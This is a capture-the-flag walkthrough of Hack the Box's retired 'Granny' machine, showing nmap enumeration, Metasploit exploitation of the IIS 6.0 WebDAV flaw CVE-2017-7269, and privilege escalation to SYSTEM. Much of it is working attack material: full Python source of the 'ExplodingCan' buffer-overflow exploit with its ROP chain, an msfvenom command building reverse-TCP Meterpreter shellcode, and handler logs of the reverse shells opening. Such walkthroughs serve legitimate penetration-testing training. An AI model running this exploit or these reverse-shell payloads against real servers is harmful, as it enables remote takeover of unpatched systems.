Today we are going to solve another CTF challenge “Granny” which is categories as retired lab presented by Hack the Box for making online penetration practices. Challenges in this lab are not hard to complete although they are like a brain teaser for the beginner as well as for expert penetration tester too.
Level: Easy
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Granny is 10.10.10.15 so let’s initiate with nmap port enumeration.
c:\PENTEST>nmap -sC 10.10.10.15 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-25 19:39 W. Europe Standard Time Nmap scan report for 10.10.10.15 Host is up (0.019s latency). Not shown: 999 filtered ports PORT STATE SERVICE 80/tcp open http | http-methods: |_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT |_http-title: Error | http-webdav-scan: | Server Date: Fri, 25 Jan 2019 18:36:25 GMT | Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK | Server Type: Microsoft-IIS/6.0 | WebDAV type: Unkown |_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH Nmap done: 1 IP address (1 host up) scanned in 15.99 seconds
Significant port 80 is open in victim’s network we preferred to explore his IP in the browser and resulting web page is shown below.

Since we know Microsoft IIS httpd 6.0 is running in victims system therefore when I Google I found a Rapid 7 exploit for this
Without wasting time I open a new terminal and type msfconsole for loading metasploit framework and use module iis_webdav for exploiting targets system.
root@kali:~/htb/granny# msfconsole =[ metasploit v4.17.33-dev ] + -- --=[ 1843 exploits - 1045 auxiliary - 320 post ] + -- --=[ 541 payloads - 44 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/windows/iis/iis_webdav_scstoragepathfromurl msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl): Name Current Setting Required Description ---- --------------- -------- ----------- MAXPATHLENGTH 60 yes End of physical path brute force MINPATHLENGTH 3 yes Start of physical path brute force Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path of IIS 6 web application VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 Microsoft Windows Server 2003 R2 SP2 x86 msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rhost 10.10.10.15 rhost => 10.10.10.15 msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > check [+] 10.10.10.15:80 - The target is vulnerable. msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit [*] Started reverse TCP handler on 10.10.14.13:4444 [*] Trying path length 3 to 60 ... [*] Sending stage (179779 bytes) to 10.10.10.15 [*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.10.10.15:1072) at 2019-01-24 20:39:46 +0100 meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System 276 4 smss.exe 324 276 csrss.exe 348 276 winlogon.exe 396 348 services.exe 408 348 lsass.exe 616 396 svchost.exe 680 396 svchost.exe 740 396 svchost.exe 772 396 svchost.exe 800 396 svchost.exe 936 396 spoolsv.exe 964 396 msdtc.exe 1076 396 cisvc.exe 1124 1076 cidaemon.exe 1132 396 svchost.exe 1180 396 inetinfo.exe 1216 396 svchost.exe 1332 396 VGAuthService.exe 1412 396 vmtoolsd.exe 1464 396 svchost.exe 1604 396 svchost.exe 1704 396 alg.exe 1832 1076 cidaemon.exe 1864 616 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe 1916 396 dllhost.exe 2060 1076 cidaemon.exe 2440 616 wmiprvse.exe 2816 348 logon.scr 3572 1464 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe 3584 616 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe 3700 3572 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe meterpreter > migrate 1864 [*] Migrating from 3700 to 1864... [*] Migration completed successfully. meterpreter > shell Process 2228 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>whoami whoami nt authority\network service C:\WINDOWS\system32>
Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for the further exploit.
meterpreter > Background session 1? [y/N] msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/local/ppr_flatten_rec msf exploit(windows/local/ppr_flatten_rec) > set session 1 session => 1 msf exploit(windows/local/ppr_flatten_rec) > set wait 20 wait => 20 msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.13 lhost => 10.10.14.13 msf exploit(windows/local/ppr_flatten_rec) > exploit [*] Started reverse TCP handler on 10.10.14.13:4444 [*] Launching notepad to host the exploit... [+] Process 2972 launched. [*] Reflectively injecting the exploit DLL into 2972... [*] Injecting exploit into 2972 ... [*] Exploit injected. Injecting payload into 2972... [*] Payload injected. Executing exploit... [*] Exploit thread executing (can take a while to run), waiting 30 sec ... [*] Sending stage (179779 bytes) to 10.10.10.15 [*] Meterpreter session 2 opened (10.10.14.13:4444 -> 10.10.10.15:1077) at 2019-01-24 20:57:44 +0100 meterpreter >
meterpreter > background [*] Backgrounding session 2... msf exploit(windows/local/ppr_flatten_rec) > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows NT AUTHORITY\NETWORK SERVICE @ GRANNY 10.10.14.13:4444 -> 10.10.10.15:1076 (10.10.10.15) 2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ GRANNY 10.10.14.13:4444 -> 10.10.10.15:1077 (10.10.10.15) msf exploit(windows/local/ppr_flatten_rec) > sessions -i 2 [*] Starting interaction with 2... meterpreter > shell Process 2348 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>whoami whoami nt authority\system
root@kali:~/htb/granny# cat ExplodingCan.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# An implementation of NSA's ExplodingCan exploit
# Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow
# CVE-2017-7269
#
# by @danigargu
#
#
import re
import sys
import socket
import requests
import httplib
import string
import time
import random
import sys
from urlparse import urlparse
from struct import pack
REQUEST_TIMEOUT = 10
DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot")
def decode(data):
return data.decode("utf-8").encode("utf-16le")
def encode(data):
return data.decode("utf-16le").encode("utf-8")
p = lambda x : pack("<L", x) # pack
def rand_text_alpha(size):
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(chars) for _ in range(size))
def supports_webdav(headers):
if "DAV" in headers.get('MS-Author-Via','') or \
headers.get('DASL','') == '<DAV:sql>' or \
re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \
"PROPFIND" in headers.get('Public','') or \
"PROPFIND" in headers.get('Allow',''):
return True
return False
def check(url):
r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT)
if r.status_code != 200:
print("[-] Status code: %d" % r.status_code)
return False
print("[*] Server found: %s" % r.headers['Server'])
if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers):
return True
return False
def find_iis_path_len(url, min_len=3, max_len=70, delay=0):
idx = 0
junk = 60
found = False
iis_path_len = None
cur_size = max_len
assert max_len <= 130, "Max length exceeded (130)"
init_lenght = 130-max_len
while not found and cur_size > min_len:
cur_size = (max_len-idx)
to_brute = rand_text_alpha(init_lenght+idx)
base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute
sys.stdout.write("[*] Trying with size: %d\r" % cur_size)
sys.stdout.flush()
try:
r = requests.request('PROPFIND', url,
timeout=REQUEST_TIMEOUT, headers={
'Content-Length': '0',
'Host': 'localhost',
'If': base_query
})
if r.status_code == 500:
iis_path_len = (max_len-idx)
found = True
idx += 1
time.sleep(delay)
# requests.exceptions.ReadTimeout
except requests.exceptions.ConnectionError as e:
print("[-] ERROR: %s" % e.message)
break
if iis_path_len and iis_path_len == max_len:
iis_path_len = None
return iis_path_len
def make_payload(p_url, iis_path_len, shellcode):
url = p_url.geturl()
payload = "PROPFIND / HTTP/1.1\r\n"
payload += "Host: %s\r\n" % p_url.netloc
payload += "Content-Length: 0\r\n"
payload += "If: <%s/a" % url
junk = (128-iis_path_len) * 2
p1 = rand_text_alpha(junk) # Varies the length given its IIS physical path
p1 += p(0x02020202)
p1 += p(0x680312c0) # str pointer to .data httpext.dll
p1 += rand_text_alpha(24)
p1 += p(0x680313c0) # destination pointer used with memcpy
p1 += rand_text_alpha(12)
p1 += p(0x680313c0) # destination pointer used with memcpy
payload += encode(p1)
payload += "> (Not <locktoken:write1>) "
payload += "<%s/b" % url
p2 = rand_text_alpha(junk - 4)
p2 += p(0x680313c0)
"""
Stack adjust:
rsaenh.dll:68006E4F pop esi
rsaenh.dll:68006E50 pop ebp
rsaenh.dll:68006E51 retn 20h
"""
p2 += p(0x68006e4f) # StackAdjust
p2 += p(0x68006e4f) # StackAdjust
p2 += rand_text_alpha(4)
p2 += p(0x680313c0)
p2 += p(0x680313c0)
p2 += rand_text_alpha(12)
"""
rsaenh.dll:68016082 mov esp, ecx
rsaenh.dll:68016084 mov ecx, [eax]
rsaenh.dll:68016086 mov eax, [eax+4]
rsaenh.dll:68016089 push eax
rsaenh.dll:6801608A retn
"""
p2 += p(0x68016082)
p2 += rand_text_alpha(12)
p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE
p2 += rand_text_alpha(4)
p2 += p(0x680124e3) # JMP [EBX]
p2 += p(0x68031460) # shellcode address
p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address
p2 += p(0xffffffff)
p2 += p(0x680313c0)
p2 += p(0x6803046e)
p2 += rand_text_alpha(4)
p2 += p(0x68031434)
p2 += p(0x680129e7) # leave; ret
"""
rsaenh.dll:68009391 pop eax
rsaenh.dll:68009392 pop ebp
rsaenh.dll:68009393 retn 4
"""
p2 += p(0x68009391)
p2 += rand_text_alpha(16)
p2 += p(0x6803141c)
"""
rsaenh.dll:68006E05 lea esp, [ebp-20h]
rsaenh.dll:68006E08 pop edi
rsaenh.dll:68006E09 pop esi
rsaenh.dll:68006E0A pop ebx
rsaenh.dll:68006E0B leave
rsaenh.dll:68006E0C retn 24h
"""
p2 += p(0x68006e05)
p2 += rand_text_alpha(12)
p2 += p(0x68008246) # EAX val address
p2 += rand_text_alpha(4)
"""
Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server)
rsaenh.dll:68021DAA mov eax, [eax+110h]
rsaenh.dll:68021DB0 pop ebp
rsaenh.dll:68021DB1 retn 4
"""
p2 += p(0x68021daa)
p2 += rand_text_alpha(4)
p2 += p(0x680313f8)
p2 += p(0x680129e7) # leave; ret
payload += encode(p2)
"""
stack restore:
90 nop
31db xor ebx, ebx
b308 mov bl, 8
648b23 mov esp, dword fs:[ebx]
6681c40008 add sp, 0x800
90 nop
"""
payload += encode("9031DBB308648B236681C4000890".decode("hex"))
payload += encode(shellcode)
payload += ">\r\n\r\n"
return payload
def send_exploit(p_url, data):
host = p_url.hostname
port = p_url.port if p_url.port else 80
vulnerable = False
recv_data = None
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(50)
sock.connect((host, port))
sock.send(data)
recv_data = sock.recv(1024)
sock.close()
except socket.timeout:
print("[*] Socket timeout")
vulnerable = True
except socket.error as e:
if e.errno == 54:
print("[*] Connection reset by peer")
vulnerable = True
return (vulnerable, recv_data)
def main():
if len(sys.argv) < 3:
print("Usage: %s <url> <shellcode-file>" % sys.argv[0])
return
try:
url = sys.argv[1]
sc_file = sys.argv[2]
p_url = urlparse(url)
shellcode = None
with open(sc_file, 'rb') as f:
shellcode = f.read()
print("[*] Using URL: %s" % url)
if not check(url):
print("[-] Server not vulnerable")
return
iis_path_len = find_iis_path_len(url)
if not iis_path_len:
print("[-] Unable to determine IIS path size")
return
print("[*] Found IIS path size: %d" % iis_path_len)
if iis_path_len == DEFAULT_IIS_PATH_SIZE:
print("[*] Default IIS path: C:\Inetpub\wwwroot")
r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT)
if r and r.status_code == 207:
print("[*] WebDAV request: OK")
payload = make_payload(p_url, iis_path_len, shellcode)
print("[*] Payload len: %d" % len(payload))
print("[*] Sending payload...")
vuln, recv_data = send_exploit(p_url, payload)
if vuln:
print("[+] The host is maybe vulnerable")
if recv_data:
print(recv_data)
else:
print("[-] Server did not respond correctly to WebDAV request")
return
except Exception as e:
print("[-] %s" % e)
if __name__ == '__main__':
main()
root@kali:~/htb/granny# msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=10.10.14.2 LPORT=4444 >shellcode [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/alpha_mixed x86/alpha_mixed succeeded with size 744 (iteration=0) x86/alpha_mixed chosen with final size 744 Payload size: 744 bytes root@kali:~/htb/granny# ls ExplodingCan.py puck.sh shellcode
root@kali:~/htb/granny# python ExplodingCan.py http://10.10.10.15 shellcode [*] Using URL: http://10.10.10.15 [*] Server found: Microsoft-IIS/6.0 [*] Found IIS path size: 18 [*] Default IIS path: C:\Inetpub\wwwroot [*] WebDAV request: OK [*] Payload len: 2241 [*] Sending payload... [*] Socket timeout [+] The host is maybe vulnerable
msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 10.10.14.2 lhost => 10.10.14.2 msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.10.14.2:4444 [*] Sending stage (179779 bytes) to 10.10.10.15 [*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.15:1105) at 2019-02-20 19:24:56 +0100